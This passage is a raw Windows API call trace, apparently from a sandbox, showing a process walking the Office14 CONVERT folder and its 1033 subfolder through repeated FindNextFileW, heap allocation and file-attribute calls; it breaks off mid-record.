FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5988a8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xc588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97.SAM", cAlternateFileName="")) returned 1 [0078.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab53e8 [0078.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9008 [0078.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.251] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAB.SAM", cAlternateFileName="")) returned 1 [0078.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5408 [0078.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9090 [0078.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.252] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x18568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RM.DLL", cAlternateFileName="")) returned 1 [0078.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.252] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 1 [0078.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.253] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 0 [0078.253] GetLastError () returned 0x12 [0078.253] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0078.253] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.253] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.253] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.253] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.254] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xabf2b8 [0078.254] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xabf2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xabf2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0078.255] NtClose (Handle=0x164) returned 0x0 [0078.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9118 [0078.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.255] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.270] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.270] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1 [0078.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9118) returned 1 [0078.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5428 [0078.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3c30 [0078.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.271] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMR.FAE", cAlternateFileName="")) returned 1 [0078.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5448 [0078.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4ba8 [0078.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.272] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x9180, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCALDV.DLL", cAlternateFileName="")) returned 1 [0078.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.272] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCR.SAM", cAlternateFileName="")) returned 1 [0078.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5468 [0078.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4cb0 [0078.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.273] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADDR.FAE", cAlternateFileName="")) returned 1 [0078.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab5488 [0078.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4db8 [0078.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.273] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf79ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPTR.FAE", cAlternateFileName="")) returned 1 [0078.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0078.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0078.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1332250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNLR.FAE", cAlternateFileName="")) returned 1 [0078.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAILR.FAE", cAlternateFileName="")) returned 1 [0078.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x25b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTER.FAE", cAlternateFileName="")) returned 1 [0078.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLR.SAM", cAlternateFileName="")) returned 1 [0078.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASKR.FAE", cAlternateFileName="")) returned 1 [0078.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x31a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97R.SAM", cAlternateFileName="")) returned 1 [0078.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PABR.SAM", cAlternateFileName="")) returned 1 [0078.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 1 [0078.274] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 0 [0078.274] GetLastError () returned 0x12 [0078.274] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0078.274] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMR.FAE", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x9180, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCALDV.DLL", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCR.SAM", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADDR.FAE", cAlternateFileName="")) returned 1 [0078.275] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf79ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2db8, dwReserved0=0x0, dwReserved1=0x0, 